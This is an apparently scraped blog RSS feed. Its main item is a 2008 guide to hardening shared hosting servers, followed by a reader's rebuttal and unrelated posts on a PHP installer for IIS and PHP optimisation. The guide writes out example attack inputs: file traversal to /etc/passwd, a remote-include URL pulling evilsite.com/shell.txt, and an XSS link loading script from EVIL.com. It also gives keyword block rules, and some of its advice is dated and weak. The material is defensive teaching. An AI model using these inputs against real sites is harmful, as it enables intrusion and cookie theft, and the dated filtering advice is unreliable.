<p>&#8212;<br />
Ok first off some things people might do while  <span style="color: royalblue;">DDoSing </span>you.</p>
<p>Unless the<span style="color: royalblue;">DDoS </span>attack is very strong I highly doubt it will take your  whole server offline most <span style="color: royalblue;">DDoS </span>attacks will mainly  hit their targets port<br />
in most cases their target would be <span style="color: #0000ff;">Apache</span>, but in other cases maybe even a teamspeak it&#8217;s a little more difficult to stop without having to get all of your clients IP addresses and adding them to the ignore lists in <span style="color: #0000ff;">APF</span></p>
<p>But a basic thing you can do is have APF installed drop all ICMP  packets. This will disable the ability to ping your server.<br />
Next Install  <span style="color: #0000ff;">DDoS Deflate</span></p>
<p>&#8212;<br />
<span style="color: #ff0000;">DDoS Deflate</span><br />
&#8212;<br />
<span style="color: #ff0000;">Comments/Description:</span><br />
From my own experience an well  written Perl Script that was made to run along with APF and monitor how many  times an<br />
IP is connected to your server before it bans it you may also run  it manually typing the following in shell.</p>
<p><span style="color: #0000ff;">ddos</span> <span style="color: red;">Number Of Connections  Allowed</span></p>
<p>When this is typed the Perl script will then run an <span style="color: #0000ff;">netstat</span> command check how many times each IP is connected and if there are more then the number of connections you specified then it will automatically run a command in <span style="color: #ffff00;">APF</span> for the IP to be  banned.</p>
<p>&#8212;<br />
<span style="color: #ff0000;">More Information can be found on  this at</span></p>
<p><span style="color: royalblue;">http://blog.medialayer.com/projects-ddos-deflate/</span></p>
<p>&#8212;-<br />
<span style="color: #ff0000;">Download</span><br />
&#8212;-<span style="color: royalblue;"><br />
</span><span style="color: royalblue;">http://www.inetbase.com/scripts/ddos/</span></p>
<p>Ok now for bandwidth saving and <span style="color: #0000ff;">DDoS</span> protection at the same time there is this really cool thing made for <span style="color: #0000ff;">apache</span> servers it&#8217;s called <span style="color: #0000ff;">mod_evasive</span><br />
It will limit the number of connections a  person may open with <span style="color: #0000ff;">apache</span> and if they open to many  it will ban them for what ever time you specify in the config.</p>
<p>&#8212;<br />
<span style="color: #ff0000;">mod_evasive</span></p>
<p>&#8212;</p>
<p><span style="color: #ff0000;"> Detailed Description:</span><br />
mod_evasive is an evasive maneuvers module for Apache to provide evasive action in the event of an HTTP DoS or DDoS attack or brute force attack. It is also designed to be a detection and network management tool, and can be easily configured to talk to ipchains, firewalls, routers, and etcetera. mod_evasive presently reports abuses via email and syslog facilities.</p>
<p>Detection is performed by creating an internal dynamic hash table of IP Addresses and URIs, and denying any single IP address from any of the following:<br />
* Requesting the same page more than a few times per  second<br />
* Making more than 50 concurrent requests on the same child per  second<br />
* Making any requests while temporarily blacklisted (on a  blocking list)</p>
<p>This method has worked well in both single-server script  attacks as well as distributed attacks, but just<br />
like other evasive tools, is only as useful to the point of bandwidth and processor consumption (e.g. the amount of bandwidth and processor required to receive/process/respond to invalid requests), which is why it&#8217;s a good idea to integrate this with your firewalls and routers for maximum protection.</p>
<p>This module instantiates for each listener individually and therefore has a built-in cleanup mechanism and scaling capabilities. Because of this per-child design, legitimate requests are never compromised (even from proxies and NAT addresses) but only scripted attacks. Even a user repeatedly clicking on &#8216;reload&#8217; should not be affected<br />
Unless they do it maliciously. mod_evasive is fully tweak able through the  Apache configuration file, easy to<br />
Incorporate into your web server, and  easy to use.</p>
<p>&#8212; <span style="color: #ff0000;">Comments:</span><br />
This is a module I have  in fact used with Apache before it honestly can get annoying if you configure it  incorrectly</p>
<p>because you will be simply visiting the website and get  banned.</p>
<p>&#8212;<br />
<span style="color: #ff0000;">Download/Install  Tutorial</span><br />
<span style="color: royalblue;"><br />
&#8212;<br />
</span><span style="color: royalblue;">http://www.eth0.us/mod_evasive</span></p>
<p><span style="color: royalblue;"> <span style="color: blue;"><span style="font-family: Fixedsys;">&#8211;= That Will Cover Alot Of Security Issues =-</span></span></span></p>
<p>Hope you learned something, and benefited your server..</p>
<p><span style="color: royalblue;">Have a good day!</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.huongtinhyeu.net/cms/securing-your-hosting-company/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anti Hack &#8211; Local Attack To Server</title>
		<link>http://www.huongtinhyeu.net/cms/anti-hack-local-attack-to-server/</link>
		<comments>http://www.huongtinhyeu.net/cms/anti-hack-local-attack-to-server/#comments</comments>
		<pubDate>Sun, 03 Aug 2008 15:52:26 +0000</pubDate>
		<dc:creator>saosangmo</dc:creator>
				<category><![CDATA[Hosting-Server-Domain]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[local attack]]></category>
		<category><![CDATA[local hack]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://web.huongtinhyeu.net/?p=42</guid>
		<description><![CDATA[Part I. Your own websites  security.
The first step you always want to take to secure  your hosting company is to make sure your own website.
Is completely secure some things to do if you are using a common CMS Google it with the word exploit make sure your version is not on there.
Next try [...]]]></description>
			<content:encoded><![CDATA[<h2><strong>Part I. Your own websites  security.</strong></h2>
<p>The first step you always want to take to secure  your hosting company is to make sure your own website.</p>
<p>Is completely secure some things to do if you are using a common CMS Google it with the word exploit make sure your version is not on there.<span id="more-42"></span></p>
<p>Next try any Get Vars in your scripts and put a ‘ at the end of them what I mean is you have = you add ‘ so it’s yourwebsite.com/page?=’ or any other similar thing not only page= you may also try char(39) rather then only ‘ most PHP scripts will automatically add add slashes as a function in the MySQL read so when it goes to read it comments out the ‘ but most PHP that only uses addslashes protection will still be vuln to SQL injection simply using char(39) which the php script will read as a single quote.<br />
If you get an error you might want to check the script.</p>
<p>The errors you may receive are mysql_* this is a sql injection get right on to fixing this because some one would have the ability of dumping your whole database, clients, admins, etc.</p>
<p>If the errors are main()or include_failed you may have just found an LFI (Local File Inclusion) OR RFI (Remote File Inclusion)…<br />
If it is in a path like failed to include /test/file.ext ever then this is an LFI but is very useful to a hacker they have the ability to use<br />
The following to browse into other places ../../../../ if they wanted to they’d view your passwd file via ../../../../../../etc/passwd</p>
<p>Well right now you’d say big Woop they got some users maybe not but  still have the ability to go to any forum on<br />
that server and upload an  avatar with PHP-EXIF data in it then include it<br />
Using this LFI once they have done this it will execute the code written in this LFI meaning they have access to Run PHP-Code on your server now not good at all…</p>
<p>Recommendations fix the script have mod security block all  ../../../../../ to a certain point attempts.</p>
<p>Ok next were going to  discuss the abilities of an RFI and how to block it…<br />
So the things you can  do with an RFI well lets see remotely include an PHP file that will execute its  php file like so<br />
<a href="http://www.yoursite.com/file.php?file=evilsite.com/shell.txt"  target="_blank">www.yoursite.com/file.php?file=evilsite.com/shell.txt</a>? this php file on your server would then remotely include the other file and execute the PHP code also allowing the user access to your server.</p>
<p>Prevention add http:// to your mod security this way when they  try remotely including a file in the URL<br />
<a href="http://www.evilsite.com/"  target="_blank">http://www.evilsite.com</a> mod_security will block it.</p>
<p>Ok our next subject is XSS this is a tricky  one on account of there are many ways around mod security blocking this…</p>
<p>What can XSS do XSS means cross site scripting a hacker can execute JavaScript code on your website using this some XSS is bad which would be called permanent XSS it allows users to embed their JavaScript inside something where you wouldn’t really see it… but when you clicked they could potentially grab your cookie or any current stored browser information.<br />
With this they could  use your cookie as their own to login as you… maybe even get password  information from this<br />
cookie…</p>
<p>Now the other type of XSS is something you have to train your clients to look out for if some one ever asks for help and sends you a link that is accessing a remote website in the URL such as…<br />
www.mysite.com/info.php?xss=&lt;script&gt;src=http://EVIL.com/xss.js&lt;/script&gt;<br />
Never click it what so ever… ban the person who has sent this.</p>
<p>Ok  now for the mod_security bans… add &lt;script&gt; add &lt;body= add  &lt;/script&gt; add “&gt;<br />
And this should fix your XSS problems that can  actually cause damage…</p>
<p>As for SQL injection the way to block this is to… add ‘ or /* to the mod security be sure to add in char(39) as it’s ‘ in php and php will in fact read it from a URL and interpret it as ‘ and still launch the sql injection.</p>
<p>One other thing you can do that is not exactly completely necessary but will help if any one does manage to get access to your website.Is you can encrypt all your db.php/conf.php/ files so that hackers cant read the information to gain access to your mysql database or gain any other passwords/usernames you might commonly use more then once.</p>
<p>Zend should fix this problem.</p>
<p>Never leave any open upload scripts what so ever any open upload scripts left on your website will allow the hacker/attacker the ability to upload a file sure you can restrict them to only uploading JPG files or GIF,RAR etc.<br />
But the only problem with that is unless you customize your upload script to check for EXIF data and clear it out of an image when uploading it then the hacker still has something to use against you.</p>
<h2><strong>Part II. Your Employees</strong></h2>
<p><strong> RULE-1 -PASSWORDS</strong><br />
Do  not use password even more then once on your servers if you do the first time  some one gets your password to any<br />
Thing they have the ability to get into every thing on your server from there they get other peoples passwords and get more and more access over time they can take the whole hosting company…</p>
<p><strong>RULE-2 -PHONE CHATS</strong><br />
Always request a person’s information verify every bit of it is correct also try to remember their voice because hackers will call you and try to get into people servers they can have correct information just by whoising the persons domain that their trying to get.</p>
<p><strong>RULE-3 -Email CHATS</strong><br />
This one is a bit easier there is no emotion  to what the person is trying to do…<br />
If they slip up on one peace of  information be sure to email them back and ask them to correct it before even<br />
Sending any thing back or touching any thing.</p>
<p><strong>RULE-4 -Talking to each  other</strong><br />
While talking to each other in public services.. or services  that my be able to be taped such as an IRC…<br />
Be sure not to  mention any root passwords, client names, etc…</p>
<p><strong>Part III. Securing Your Server</strong></p>
<p>Ok well first were going to do the  obvious and CHMOD /home to 755</p>
<p>This is simple just go ahead and type  chmod 755 /home<br />
Or<br />
<strong>CD  /<br />
chmod 755 home</strong></p>
<p>Next were going to make  sure no user has any bash access what so ever.</p>
<p>This may already be  setup by the current hosting control panel you are using…<br />
If not were  going to nano /etc/passwd and make sure all Linux  users that you don’t want having bash are set to<br />
/sbin/nologin</p>
<p>I realize some hosting companies also do  dedicated server companies so it wouldn’t work out if your client didn’t have<br />
bash to the server.<br />
So this is mainly based for the shared hosting  servers.</p>
<h2><img src="http://about.share4vn.com/wp-content/uploads/2008/04/cat-attack.png" alt="cat-attack.png" hspace="5" vspace="5" width="270" height="202" align="left" /><strong>Part IV. PHP  Configuration.</strong></h2>
<p>Now were going to  do some things to PHP.ini<br />
usr/local/lib/php.ini<br />
^ On Most Systems<br />
<span style="color: #ff0000;"><em>safe_mode = On<br />
safe_mode_gid = Off<br />
open_basedir = directory  [:…]<br />
safe_mode_exec_dir = directory [:…]<br />
expose_php =  Off<br />
register_globals =  Off<br />
display_errors =Off<br />
log_errors = On<br />
error_log = filename<br />
magic_quotes=On<br />
disable_functions = show_source, system, shell_exec, passthru, exec,<br />
phpinfo,  popen, proc_open, base64_decode, base64_encodem, proc_terminate</em></span></p>
<p>Some explanations of the functions your  disabling.</p>
<p>show_source(), Disables  functions most shells use to view the source of other files one commonly<br />
c99, ModfiedC99 (c100), ModfiedC99(x2300)<br />
phpinfo(), Sometimes will bring up XSS, also numeral  overflows have been found while using PHPINFO() that  and you don’t<br />
want people getting your version of PHP and etc. to attempt to  exploit it if you may just be out of date or to up to<br />
date.<br />
system, Allows Bash Commands Via PHP</p>
<p>shell_exec, Allows Bash Commands via PHP</p>
<p>exec, Allows Bash Commands Via PHP</p>
<p>popen, Almost like Bash not quite but close using  PHP</p>
<p>proc_open, Almost like bash not quite but  close using PHP</p>
<p>base64_decode, decodes base64  encryptions… reason for disabling also allows users with server access to  bypass mod security</p>
<p>base64_encode, encodes  base64 encryptions… reason for disabling also allows users with server access  to bypass mod security</p>
<p>proc_terminate,  Terminates Processes running on the server.</p>
<p>Some reasons for having magic  quotes on, it disables most nullbyte attempts (%00)<br />
And will stop a small majority of SQL  injections.</p>
<p><strong>But, you can skip disable some function like “base64″ , “phpinfo” …</strong></p>
<h2><strong>Part V. MySQL and Apache Configurations</strong></h2>
<p>Disable all out bound MYSQL connections…</p>
<p>Besides from  Trusted Servers</p>
<p>This may actually be set in the host’s field of the  users in the actual MYSQL table, for each user account it lets you<br />
Give them  an IP or type any I’d recommend giving them an IP…<br />
Although when you give  them and IP don’t worry it’s not that you can only have one IP able to access  that user you<br />
do in fact have the ability to recreate the user<br />
over and  over and fill in the IP field differently each time.</p>
<p>Next you need to configure your apache to where it runs 1 process for each linux user and all scripts ran by that user run under their unix/linux permissions,GID &amp; UID</p>
<p>A reference Document on how to do this can  be found here.</p>
<p>http://httpd.apache.org/docs/1.3/suexec.html</p>
<p>Comments:<br />
What this will do with apache is pretty much  make sure that the users can’t access other users directories on the<br />
Server  this is a common vulnerability you get access to one site on the server and you  get access to all websites on the same<br />
server… this protects against it.  All though apache is running under each user using SuEXEC would solve that  problem.</p>
<h2><strong>Part VI. SSH Keys.</strong></h2>
<p>It’s not required but it is a recommendation to setup SSH keys this way people do not have the ability to brute force your SSH server.</p>
<p>A tutorial on how to do this can be  found here:</p>
<p>http://www.sun.com/bigadmin/content/submitted/ssh_setting.html</p>
<p>If you do not wish to setup SSH Keys you may also use Linux host.allow, host.deny files to sort which ranges have the ability to access your server and which do not have the ability to access your server.</p>
<p>There  are some references for this located here</p>
<p>http://linux.about.com/od/commands/l/blcmdl5_hostsal.htm</p>
<p>And  here</p>
<p>http://www.userlocal.com/security/securinginetdetc.php</p>
<h2><strong>Part VII.   <a href="http://www.webhostingtalk.com/#HRS"  target="_blank">BackDoor-Trojan-Rootkit</a> Proctection  &amp; FireWall  Setup</strong></h2>
<p>Down To The Back Door Protection</p>
<p>In the even some one gets access to your server even with all the security you’ve gotten so far they might just be able to figure out one way or another to slip a backdoor in or in the case of ubiquity a botnet client,</p>
<p>So what exactly are some things you can do to prevent this if  not stop it.</p>
<p>Well I honestly don’t think you can stop things like root kits, Trojans, viruses, botnet clients etc. from being on your System.</p>
<p>But  you can stop or remove them once their on your system, or prevent them from  being ran.</p>
<p>What all can a person do just by having the ability to upload a  file.<br />
Not much but once they find ways to execute what they have uploaded then you can pretty much consider them having root to your server.</p>
<p>At this point they can run multiple exploits that may be able to BoF(Buffer Over Flow) An process running under root on your system and from there they could get lucky and have the ability to execute code as that process.</p>
<p>Another thing they can do without having root is install an botnet client once this is done they have the ability to use your servers as their own resource to take other things down.</p>
<p>Trojans &amp; Viruses on Linux aren’t too much of a worry as there aren’t too many out there but the ones that are made might just have enough access to delete most of the HDD on the Linux system.</p>
<p>Now a couple things I’ve researched on that can help prevent  this.</p>
<p><strong>—<br />
Root Kit  Hunter.<br />
—</strong><br />
Description:</p>
<p>Root  kit scanner is scanning tool to ensure you for about 99.9%* you’re clean of  nasty tools. This tool scans for<br />
Root kits, backdoors and local exploits by  running tests like:</p>
<p>- MD5 hash compare<br />
- Look for default files used by root  kits</p>
<p>- Wrong file permissions for binaries<br />
- Look for  suspected strings in LKM and KLD modules<br />
- Look for hidden files<br />
-  Optional scan within plaintext and binary files</p>
<p>——-<br />
Comments:<br />
I highly recommend Root Kit Hunter.<br />
—<br />
Download<br />
—</p>
<p>http://www.rootkit.nl/projects/rootkit_hunter.html</p>
<p><strong> —<br />
Clam Antivirus<br />
—</strong><br />
Description:</p>
<p>* Command-line scanner<br />
*  Fast, multi-threaded daemon with support for on-access scanning<br />
* milter  interface for sendmail<br />
* advanced database updater with support for  scripted updates and digital signatures<br />
* virus scanner C library<br />
* on-access scanning (Linux and FreeBSD)<br />
* virus database updated  multiple times per day (see home page for total number of signatures)<br />
*  built-in support for various archive formats, including Zip, RAR, Tar, Gzip,  Bzip2, OLE2, Cabinet, CHM,<br />
BinHex, SIS and others<br />
* built-in support  for almost all mail file formats<br />
* built-in support for ELF executables  and Portable Executable files compressed with UPX, FSG, Petite, NsPack,<br />
wwpack32, MEW, Upack and obfuscated with SUE, Y0da Cryptor and others<br />
* built-in support for popular document formats including MS Office and Mac  Office files, HTML, RTF and PDF<br />
——-<br />
Comments:<br />
Honestly I’d recommend this even when using  Mod-Security I’ve built shells that will in fact bypass modsecurity well<br />
this well scan the source codes of the PHP shell<br />
and make sure thereï؟½s  nothing that could potentially harm or allow the user to have to much access  over the system.</p>
<p>—<br />
Download<br />
—</p>
<p>http://www.clamav.net/download/</p>
<p>–</p>
<p>Banning The Brute Forcers,  FTP, SSH, etc.<br />
<strong> —<br />
APF (Advanced Policy  Firewall)<br />
—</strong></p>
<p>Description:</p>
<p>Rather then grabbing this one off their site I figured I’d write  one.</p>
<p>Well in my experience this is nothing like a normal firewall you would use on an windows system it checks for things like people trying to brute force Cpanel, SSH, FTP, etc. accounts.</p>
<p>Allows alot of  configuration options some of which may also benfit in bandwidth saving and DDoS  prevention,<br />
Over all it blocks those ports your not using so even if some one manages to get an undetectable backdoor/botnet on your systems.<br />
Then this will block it from connecting back to them and them  connecting back to it.<br />
—<br />
Comments:<br />
I will tell you no though this will be a pain to setup while hosting so many teamspeaks on account of all the ports you would have to constantly forward.<br />
To make  sure every one has the ability to get into their teamspeaks,</p>
<p>Some commands that can be used with this Firewall just incase you  decide to use it.</p>
<p>Banning an IP<br />
<strong>apf -d IP</strong></p>
<p>Unbanning an  IP<br />
<strong>apf -u IP</strong></p>
<p>I recommend ignoring your own IP in the</p>
<p><strong>/etc/apf/allow_hosts.rules</strong></p>
<p>Using the following syntax you can ignore your IP from all firewall  rules meaning you don’t follow them.</p>
<p>d=PORT:d=IP // ENABLES YOUR IP COMMING  IN ON THE PORT<br />
out:d=PORT:d=IP // ENABLES YOUR IP GOING OUT ON THE PORT</p>
<p>For ranges  you may do the following 192.168.1.1/255</p>
<p>It will then forward from  192.168.1.1 to 192.168.1.255 to be enabled</p>
<p><strong>—<br />
Download<br />
—</strong></p>
<p>http://www.r-fx.ca/downloads/apf-current.tar.gz</p>
<h2><strong>Part VIII. DDoS Protection and Saving Bandwith + Remote  Loging.</strong></h2>
<p>—</p>
<p><strong>Server Monitoring  Remotely<br />
—</strong><br />
Log Watch<br />
—<br />
Description:</p>
<p>An application that runs twenty-four seven on your server and sends the following things after going through them to your email.<br />
-Apache_Access Logs</p>
<p><strong>-Apache_Error Logs<br />
-SSH_LOGIN’s Failed  Or Succeeded<br />
-FTP Logs<br />
-Mail Logs<br />
-Current HDD  Sizes<br />
-Kernel Logs<br />
-Mail Logs<br />
-Yum/APT-GET  Logs</strong></p>
<p>Comments:<br />
This thing is very useful attempts to gain access to your server will be automatically emailed to you along with every thing that is not found gave some one and forbidden error and etc.<br />
The only main requirement is that you have SendMail Running.</p>
<p><strong>Mail Spam Protection<br />
—</strong></p>
<p><strong>Spam Assassin<br />
—</strong></p>
<p><strong>Description:</strong></p>
<p>The core distribution  consists of command line tools to perform filtering along with  Mail:<img title="Huh?" src="http://www.webhostingtalk.com/images/smilies/confused3.gif" border="0" alt="" />pamAssassin, a set of Perl modules which allow SpamAssassin to be used in  a wide range of products.</p>
<p><strong>Comments:</strong><br />
Never  used it my self because I’ve never really had to bad of mail spam problems on my  server but from what I’ve<br />
read it is in fact pretty good at filtering out  the spam in your emails.</p>
<p><strong>—<br />
Download<br />
—</strong></p>
<p>http://spamassassin.apache.org/downloads.cgi?update=200705021400</p>
<p>—<br />
Some Extra Mail  Protection</p>
<p>—<br />
Be sure that your mail-server only allows your  Server to use it or any other servers you may trust and deny all<br />
others<br />
many people will attempt to use open mail servers and spam  resources.</p>
<p><strong>—<br />
DDoS Protection &amp; Bandwidth  Saving.</strong></p>
<p><strong>—</strong><br />
Ok first off some things people might do while  DDoSing you.</p>
<p>Unless theDDoS attack is very strong I highly doubt it will take your whole server offline most DDoS attacks will mainly hit their targets port<br />
in most cases their target would be Apache, but in other cases maybe even a teamspeak it’s a little more difficult to stop without having to get all of your clients IP addresses and adding them to the ignore lists in APF</p>
<p>But a basic thing you can do is have APF installed drop all ICMP  packets. This will disable the ability to ping your server.<br />
Next Install  DDoS Deflate</p>
<p><strong>—<br />
DDoS Deflate<br />
—</strong><br />
Comments/Description:<br />
From my own experience an well  written Perl Script that was made to run along with APF and monitor how many  times an<br />
IP is connected to your server before it bans it you may also run  it manually typing the following in shell.</p>
<p>ddos Number Of Connections  Allowed</p>
<p>When this is typed the Perl script will then run an netstat command check how many times each IP is connected and if there are more then the number of connections you specified then it will automatically run a command in APF for the IP to be banned.</p>
<p>—<br />
More Information can be found on  this at</p>
<p>http://blog.medialayer.com/projects-ddos-deflate/</p>
<p><strong>—-<br />
Download<br />
—-</strong></p>
<p>http://www.inetbase.com/scripts/ddos/</p>
<p>Ok now for bandwidth saving and DDoS protection at the same time there is this really cool thing made for apache servers it’s called mod_evasive<br />
It will limit the number of connections a person may open with apache and if they open to many it will ban them for what ever time you specify in the config.</p>
<p><strong>—<br />
mod_evasive</strong></p>
<p><strong>—</strong></p>
<p>Detailed Description:<br />
mod_evasive is an evasive maneuvers module for Apache to provide evasive action in the event of an HTTP DoS or DDoS attack or brute force attack. It is also designed to be a detection and network management tool, and can be easily configured to talk to ipchains, firewalls, routers, and etcetera. mod_evasive presently reports abuses via email and syslog facilities.</p>
<p>Detection is performed by creating an internal dynamic hash table of IP Addresses and URIs, and denying any single IP address from any of the following:<br />
* Requesting the same page more than a few times per  second<br />
* Making more than 50 concurrent requests on the same child per  second<br />
* Making any requests while temporarily blacklisted (on a  blocking list)</p>
<p>This method has worked well in both single-server script  attacks as well as distributed attacks, but just<br />
like other evasive tools, is only as useful to the point of bandwidth and processor consumption (e.g. the amount of bandwidth and processor required to receive/process/respond to invalid requests), which is why it’s a good idea to integrate this with your firewalls and routers for maximum protection.</p>
<p>This module instantiates for each listener individually and therefore has a built-in cleanup mechanism and scaling capabilities. Because of this per-child design, legitimate requests are never compromised (even from proxies and NAT addresses) but only scripted attacks. Even a user repeatedly clicking on ‘reload’ should not be affected<br />
Unless they do it maliciously. mod_evasive is fully tweak able through the  Apache configuration file, easy to<br />
Incorporate into your web server, and  easy to use.</p>
<p><strong>— Comments:</strong><br />
This is a module I have  in fact used with Apache before it honestly can get annoying if you configure it  incorrectly</p>
<p>because you will be simply visiting the website and get  banned.</p>
<p><strong>—<br />
Download/Install  Tutorial<br />
</strong><br />
—</p>
<p>http://www.eth0.us/mod_evasive</p>
<p>–= That Will Cover Alot Of Security Issues =-</p>
<p>Hope you learned something, and benefited your server..</p>
<p>Have a good day!</p>
<p>Maybe, you can skip disable some function, and mysql connection… because :</p>
<p>Disabling php functions, will involve individuals just leaving, end of story. There are PLENTY of other ways to do things securely, but disabling php functions is just asking for problems.</p>
<p>Case in point:<br />
(most) image galleries won’t work with the said configuration, because they rely on imagemagick, or something else, or rely on system() calls. What, you’re going to tell your customers “I’m sorry, but you can’t have a gallery”?</p>
<p>base64(de/en)code, again, quite common. There is no reason to terminate or not allow this to be used.</p>
<p style="margin: 5px 20px 20px;">
<p class="smallfont" style="margin-bottom: 2px;">Quote:</p>
<table border="0" cellspacing="0" cellpadding="6" width="100%">
<tbody>
<tr>
<td class="alt2" style="border: 1px inset;">APF (Advanced Policy Firewall)</td>
</tr>
</tbody>
</table>
<p>Use something that DOESN’T require 5 million configuration files for Brute force/etc , <a href="http://www.configserver.com/cp/csf.html"  target="_blank">CSF</a> handles things properly, and the developer doesn’t dissapear for months on end. Rather than configure things differently per application (sshd, mail, http, etc), and rely on cron jobs, you’re better off using ONE configuration file for ONE application that handles things properly. APF is pretty much dead, the author abandoned it for almost 2 years until he found he had some competition.</p>
<p style="margin: 5px 20px 20px;">
<p class="smallfont" style="margin-bottom: 2px;">Quote:</p>
<table border="0" cellspacing="0" cellpadding="6" width="100%">
<tbody>
<tr>
<td class="alt2" style="border: 1px inset;">As for SQL injection the way to block this is to… add ‘ or /* to the mod security be sure to add in char(39) as it’s ‘ in php and php will in fact read it from a URL and interpret it as ‘ and still launch the sql injection.</td>
</tr>
</tbody>
</table>
<p>NOTHING will block an SQL injection aside from proper code. If the evildoer wants to get something injected, they will do it. Using your method will cause problems with applications that are legitimately trying to do things a certain way.</p>
<p>Security isn’t about disabling things for clients, it’s about making sure that clients can use things while the server itself is reasonably safe. Nothing will EVER be 100% of the way safe, ever, as long as it is plugged in.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.huongtinhyeu.net/cms/anti-hack-local-attack-to-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IIS-AID php installer Bộ công cụ cài đặt PHP lên máy chủ IIS</title>
		<link>http://www.huongtinhyeu.net/cms/iis-aid-php-installer-bo-cong-cu-cai-dat-php-len-may-chu-iis/</link>
		<comments>http://www.huongtinhyeu.net/cms/iis-aid-php-installer-bo-cong-cu-cai-dat-php-len-may-chu-iis/#comments</comments>
		<pubDate>Thu, 20 Mar 2008 06:16:53 +0000</pubDate>
		<dc:creator>saosangmo</dc:creator>
				<category><![CDATA[Hosting-Server-Domain]]></category>

		<guid isPermaLink="false">http://web.huongtinhyeu.net/2008/03/20/iis-aid-php-installer-b%e1%bb%99-cong-c%e1%bb%a5-cai-d%e1%ba%b7t-php-len-may-ch%e1%bb%a7-iis/</guid>
		<description><![CDATA[Như chúng ta đã biết, PHP là một ngôn ngữ được viết để chạy chủ yếu trên nền tảng máy chủ Unix, Linux với máy chủ Apache và vì thế để chạy PHP trên nền tảng windows với máy chủ IIS, việc cài đặt thường cần thực hiện bằng tay và cần 1 kiến thức [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://web.huongtinhyeu.net/wp-content/uploads/2008/03/aid-iis.jpg"  title="aid-iis.jpg"><img src="http://web.huongtinhyeu.net/wp-content/uploads/2008/03/aid-iis.jpg" alt="aid-iis.jpg" align="right" hspace="4" vspace="4" /></a>Như chúng ta đã biết, PHP là một ngôn ngữ được viết để chạy chủ yếu trên nền tảng máy chủ Unix, Linux với máy chủ Apache và vì thế để chạy PHP trên nền tảng windows với máy chủ IIS, việc cài đặt thường cần thực hiện bằng tay và cần 1 kiến thức nhất định về cơ chế của IIS mới có thể thực hiện được. Bản thân tôi thì mỗi lần cài đặt PHP trên IIS đều cần phải đọc lại tài liệu và việc này thì không thực hiện thường xuyên lắm nên cũng không muốn ghi nhớ làm gì cho mệt, <img src='http://www.huongtinhyeu.net/cms/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> . Ý tưởng của AID-IIS là đóng gói bộ PHP để tạo thành bộ cài đặt tự động để mỗi lần bạn cần thì chỉ cần click và chọn chứ không phải thực hiện quá nhiều thao tác thủ công.<span id="more-27"></span></p>
<p>Cho tới thời điểm này IIS-AID PHP Installer đã hỗ trợ đến các mức sau:</p>
<p>- Làm việc tốt với IIS từ phiên bản 5.x, 6 và 7<br />
- Phiên bản được đóng gói PHP 5.2.5<br />
- Hỗ trợ Microsoft FastCGI mapping, được biết tới như 1 giải pháp cache cho các dòng sản phẩm của hãng thứ 3 trên nền tảng IIS.<br />
- 2 phiên bản cho: 32 bit và 64 bit<br />
&#8230; bạn có thể xem thêm tại trang thông tin sản phẩm <a href="http://www.iis-aid.com/iis_aid_php_installer"  target="_blank">http://www.iis-aid.com/iis_aid_php_installer</a><br />
Hoặc download luôn bộ cài đặt tại đây:</p>
<p>- Phiên bản chạy trên nền 32bit: <a href="http://www.iis-aid.com/system/files/IIS-Aid+PHP+Installer+%28x86%29.exe"  target="_blank">http://www.iis-aid.com/system/files/IIS-Aid+PHP+Installer+%28&#215;86%29.exe</a></p>
<p>- Phiên bản chạy trên nền 64 bit:<a href="http://www.iis-aid.com/system/files/IIS-Aid+PHP+Installer+%28x64%29.exe"  target="_blank"> http://www.iis-aid.com/system/files/IIS-Aid+PHP+Installer+%28&#215;64%29.exe</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.huongtinhyeu.net/cms/iis-aid-php-installer-bo-cong-cu-cai-dat-php-len-may-chu-iis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A HOWTO on Optimizing PHP</title>
		<link>http://www.huongtinhyeu.net/cms/a-howto-on-optimizing-php/</link>
		<comments>http://www.huongtinhyeu.net/cms/a-howto-on-optimizing-php/#comments</comments>
		<pubDate>Fri, 18 Jan 2008 03:37:40 +0000</pubDate>
		<dc:creator>saosangmo</dc:creator>
				<category><![CDATA[Hosting-Server-Domain]]></category>

		<guid isPermaLink="false">http://web.huongtinhyeu.net/2008/01/18/a-howto-on-optimizing-php/</guid>
		<description><![CDATA[A HOWTO on Optimizing PHP
PHP is a very fast programming language, but there is more to optimizing PHP    than just speed of code execution.
In this chapter, we explain why optimizing PHP involves many factors which    are not code related, and why tuning PHP requires an understanding of how PHP [...]]]></description>
			<content:encoded><![CDATA[<h3><strong><strong>A HOWTO on Optimizing PHP</strong></strong></h3>
<p><font face="Courier New,Courier,Monaco">PHP is a very fast programming language, but there is more to optimizing PHP    than just speed of code execution.</p>
<p>In this chapter, we explain why optimizing PHP involves many factors which    are not code related, and why tuning PHP requires an understanding of how PHP    performs in relation to all the other subsystems on your server, and then identifying    bottlenecks caused by these subsystems and fixing them. We also cover how to    tune and optimize your PHP scripts so they run even faster.</p>
<p><strong>Achieving High Performance</strong><span id="more-11"></span><font face="Courier New,Courier,Monaco">When we talk about good performance, we are not talking about how fast your    PHP scripts will run. Performance is a set of tradeoffs between scalability    and speed. Scripts tuned to use fewer resources might be slower than scripts    that perform caching, but more copies of the same script can be run at one time    on a web server.</p>
<p>In the example below, A.php is a sprinter that can run fast, and B.php is a    marathon runner than can jog forever at the nearly the same speed. For light    loads, A.php is substantially faster, but as the web traffic increases, the    performance of B.php only drops a little bit while A.php just runs out of steam.</p>
<p></font></p>
<p></font></p>
<p align="center"><font face="Courier New,Courier,Monaco"> </font><img src="http://phplens.com/lens/php-book/opt/Image1.gif" height="292" width="374" /></p>
<p><font face="Courier New,Courier,Monaco">Let us take a more realistic example to clarify matters further. Suppose we need to write a PHP script that reads a 250K file and generates a HTML summary of the file. We write 2 scripts that do the same thing: <strong>hare.php</strong> that reads the whole file into memory at once and processes it in one pass, and <strong>tortoise.php</strong> that reads the file, one line at time, never keeping more than the longest line in memory. Tortoise.php will be slower as multiple reads are issued, requiring more system calls.</p>
